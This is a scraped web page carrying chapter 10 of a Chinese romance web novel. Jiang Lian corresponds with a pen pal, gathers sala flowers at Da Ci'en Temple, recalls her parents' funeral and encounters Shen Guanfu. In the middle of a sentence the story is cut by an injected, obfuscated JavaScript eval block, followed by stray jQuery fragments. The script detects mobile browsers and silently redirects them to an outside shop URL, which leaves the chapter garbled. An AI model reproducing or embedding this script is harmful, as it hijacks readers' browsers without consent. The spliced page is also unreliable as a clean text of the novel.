文趣网 > 其他小说 > 表小姐她一无所知 > 10. 第 10 章
    大理寺西廨,窗外乌鸦嘎嘎直叫,吵得沈观复烦不胜烦。

    对着那张信笺,他迟迟下不去笔。江怜想知道他的名字,可他怎么能告诉她呢。

    目光移到最末处。

    【先生若觉得江怜言辞不妥,请务必告知。】

    告诉她不妥,是最稳妥的方式。

    沈观复却紧紧捏着信笺一角,久久做不了决定。

    他觉得江怜误会了自己,他没有要包庇任何人的意思。但他又怎么能跑到江怜面前着急忙慌地解释呢?这和他的母亲又有什么两样。

    他的母亲……已故的长公主,当年也是这么痴缠着他的父亲。

    探花宴上的遥遥一望,让当今最尊贵的女子失了心神。赐婚的圣旨一下,换来的却是探花郎的不甘和怨恨。

    可母亲依旧死心塌地的爱着他。

    沈观复不想成为他母亲那样的人。他不屑去奢求任何一个人的偏爱。

    但……跟江怜的通信的不是沈观复,是“临渊山人”。

    于是,他提笔写下。

    【吴常,无妻无子,无牵无挂】

    一停笔,便立马将信笺对折,装进了信封里。

    还未干涸的墨迹互相晕染,江怜拿到手时,屏息分辨了好久,才从中窥得原貌。

    她立时开心的原地转了个圈,顺势做到矮榻上。

    口中默念着他的名字。

    吴常,常。

    江怜突然想起沈观复的本名也叫常,观复知常,沈常。只不过平时只有长辈才叫这个名字,险些都要忘了。

    临渊山人的表字,不会也叫观复吧?江怜皱了皱眉,觉得有些晦气,立马呸呸呸了几声。

    她决定以后就要叫临渊山人阿常了。

    先前给阿常画的人像也快要画好了,她总觉得有些眼熟,还是琥珀凑上来,好奇询问:“娘子,这是您给自己画的画像吗?”

    江怜这才反应过来,竟是不知不觉中将自己的样子画了上去。

    一股热意窜上脸颊。她有些不好意思地将那画像收好,又重新铺了张崭新的画纸准备重新作画。

    现下她根据阿常的描述,作了三幅不同的画像,最初的那副也夹在其中。

    看着栩栩如生的三幅美人像,江怜犹觉不够。她若喜欢一个人,便想将自己有的所有好东西都给他一份。

    虽然现下她自己都寄人篱下,没什么拿得出手的东西。但江怜还是想从犄角旮旯里搜刮些东西。

    好像……也只有那个香囊的配料了。

    她从小就睡眠不好,不是入睡慢,就是觉浅,易惊醒。为此外祖父寻遍了名医,才从一个不知名的香料师那里得到的这个配方。

    那效果属实是一顶一的好,只是里面的配料不容易找齐,尤其是其中的舶来物“娑罗花”,只有一些大的佛家寺庙才会特意栽植。

    她来长安后本就所剩无几的香料,想着感谢沈观复,就给了他一份。没料到自讨个没趣,江怜气不下,直接扔了。

    这下连她自己都只徒徒有个方子。

    江怜垂头丧气地瘫在矮塌上,一手盖在双眼上,思索如何才能找齐配料。

    日光穿过窗外的老槐树,在她脸上洒下一片光斑,随风飘荡。她的思绪也乘着风晃晃悠悠,寻不到目的地。

    风意渐凉,江怜终于从榻上“腾”地坐起。

    还是先回信吧。

    她这么想着,便把懊恼也一并说了。同三张画像一起,卷好了交给抱琴。

    翌日,天光初透。

    琥珀急匆匆跑来,唤醒了还在沉睡的江怜。

    “娘子,夫人说今日是‘人间弥勒’布袋和尚出家的日子,要去大慈恩寺做法事呢。”

    “布袋和尚出家的日子……晒经节?”江怜被摇着肩膀唤醒,整个人还迷迷糊糊的,“晒经节不是六月初六?还差几日才是呢。”

    “这奴婢不知,夫人叫了全府的人,还在禁闭的瑶小娘子今日也去呢。”

    听见沈瑶的名字,江怜不由愈发头痛:“那沈观复呢?”

    “公子……未曾听闻。不过公子向来不参与夫人的活动。”

    江怜心下稍安,这才打起点精神来准备。

    她任由琥珀妆点,忽然问道:“大慈恩寺是长安有名的寺庙,庙里可有供养娑罗树?”

    “那是自然。建庙时便从天竺请了一株过来,如今已亭亭如盖了。”

    江怜闻言一喜。

    正愁寻不到娑罗花呢,姨母这就送上门来了。

    上次也是姨母突然发难,竟误打误撞让沈观复出手整治了全府。不管背地里怎么想的,明面上对她都毕恭毕敬了起来。

    虽然姨母不喜欢她,但姨母倒还真是她的贵人呢。江怜吐了吐舌头,不好意思地想。

    大清早被叫醒的郁闷一扫而空,江怜满心期待地上了马车,对一旁恨恨瞪着她的沈瑶和宋晚吟视若无睹。

    马车晃晃悠悠,眨眼便到了大慈恩寺。

    古寺中央,那棵巨大的娑罗树正值花期,满树繁花白中透金,幽香弥漫。

    江怜被一时看得出了神,被摩肩接踵的香客冲散。

    她四下张望,没找到姨母几人的身影。索性作罢,转身先集起娑罗花来。

    往年都是阿爹阿娘带着她,去庙里上香,顺便搜集这一年要用到的娑罗花。

    她手下一用力,莹白的花儿便从枝头脱落,掉入她的手心里。

    江怜愣愣地看着掌心,同样的场景,如今却只有她孤身一人。

    入殓前“买”水归来,替亡者净面擦身,是她见父母的最后的一眼。

    他们静静躺在同一具棺椁里,面容安详。一如十几年前,并肩躺在婚床上的那个夜晚。

    棺盖一寸一寸推合,江怜这才觉出实感。她真的要永远失去他们了。

    被祖父叫来撑场子的沈观复站在她身侧。

    江怜四肢涌起一阵奇痒的酸胀,脚下一软,几乎栽倒,沈观复眼疾手快地撑住她的胳膊。

    她借力平缓着心绪,小臂上被握住的地方传来一股热意,顺着血液流遍全身。

    “封棺!”

    风猛地撞开窗棂,裹着湿土的气味灌入灵堂。钉子一颗颗楔入棺木。榔头高起又落下,每一下都像凿在江怜的天灵盖上。

    “咚——咚——咚——”

    绵长的敲钟声让江怜这才反应过来,这不是钉棺的声音,是寺庙晨间诵经结束时的“定钟”。

    她缓过来神来,面上已湿了一片。

    不禁扁了嘴。反正都是送给阿常的东西,就应该让他陪着来摘。也不至于因孤身一人而触景伤情,想起那些已回不来的温暖。

    江怜吸了吸鼻子,用帕子拭净面容。

    刚一抬手,身后传来一声似嗔似怪的叹息。江怜回头看去,沈瑶正挽着宋晚吟站在她身后,一旁竟还立着沈观复。

    宋晚吟不赞同地看着她:“妹妹可知我们到处都在找你,还担心你又被什么坏人掳走了。你怎么……”

    说着看了眼江怜手中的娑罗花,不赞同地摇了摇头。

    江怜看花也集得差不多了,便也不再多说什么,小心地将花收入锦囊,默默跟在几人身后。

    沈瑶扭头

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17563423|204619||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    瞥了她一眼,刚想讽刺几句,余光看到沈观复就在一旁,讪讪闭了嘴。

    离六月初六的晒经节虽仍有几日,寺院里却已经开始将经卷典籍都装箱整理好,搬到了空旷的院落内。只等日子一道,就可以一一取出翻晒。

    世人认为翻晒经书能得智慧加持,便有众多香客都会带着自家子女前来,帮忙一同整理。

    地位高的人家,往往能在六月初六当日参加最重要的环节。别的寻常百姓,也可以在前后几日来帮忙整理。

    江怜还以为姨母会在六月初六那日再带着沈瑶来呢。沈瑶那个脑子,是该注入一些智慧了。

    不过沈观复竟也会一同前来,倒是江怜低估了亲情在他心里的位置。

    她不由暗了神色,一旁的沈瑶没好气地嘀咕:“有些人就知道偷懒,动作还没我麻利。”

    江怜:“书里都是智慧,瑶妹妹多吸收一些也是应该的,表姐不同你抢。”

    “你!”

    沈瑶气得将手机的书一摔,大跳了起来。沈夫人连忙拉住了她。

    “干什么呢?这经书也是能随意摔的?”

    她没好气地瞪了沈瑶一眼,弯下拾起经书,轻轻地掸了掸沾上的尘土。

    沈瑶依旧满脸不忿,看得沈观复直后悔同意沈夫人要带她一起来的提议。

    “阿娘!她分明是说我笨呢!”沈瑶不依不饶地缠着沈夫人要讨个公道。

    沈夫人摸不准沈观复的态度,也不好做得太难看,只能让两个冤家分家再说。

    “你既看不上这福气,便全都给别人罢。”沈夫人阴阳怪气道,“自己找个安全的地方待着,到时候出了事,都别又疑心是府里有人要害你。”

    江怜起身应是,头也不回地就走了。

    她临时被通知了要来大慈恩寺,尚未来得及用早膳,此时眼前一阵阵发黑,指尖止不住地轻颤,脚步虚浮,像踩在棉花上。

    几个稚童嬉笑打闹着从她身侧跑过,只掀起一阵轻风,就将江怜带得踉跄着跌倒在地。

    手中的锦囊脱手飞出,啪地落在地上。

    口子散开,里头的花瓣纷纷扬扬洒了一地,白茫茫的一片,铺在青砖上,像落了一场碎雪。

    一个男孩没刹住脚,一脚踩了上去。

    “哎呀!”另一个也跟着踩过。

    花瓣被踏得零落泥泞,沾在鞋底,又被带出去老远。

    江怜撑着地面,张了张嘴,想说些什么,却喉头发紧,只挤出低低的一声叹息。

    “我,我们不是故意的。”

    个子最高的男孩被推到前方,背着手扭扭捏捏地同江怜道歉,头颅深深埋进胸口里,不敢直视江怜的目光。

    江怜就着跌倒的姿势,在原地缓了好久,眼前的黑朦才渐渐散去。

    双腿像被抽去了骨头,竟怎么也撑不起来。她只好先抬头冲几个快哭了的小孩笑了笑,道:

    “无事,是我自己没站稳。这花,我再去摘些来便是。”

    几人互相看了几眼,也不敢问江怜为什么一直不站起来。犹犹豫豫地往后挪着步子,见没有被她叫住,蒙头就跑。

    江怜看着他们慌张离去的背影,无奈地摇了摇头。

    一手撑着地面,一手慢慢地将几朵完好的娑罗花挑出来收拢,重新装入锦囊中。

    忽得感觉有视线一直注视着她。

    江怜寻着方向望去,视野中先是出现一双乌皮六合靴。

    她顿了顿,直接将头扬起。

    入眼是一片湛蓝的天。

    沈观复立在这片天空中央,低垂着头,无声凝望着她。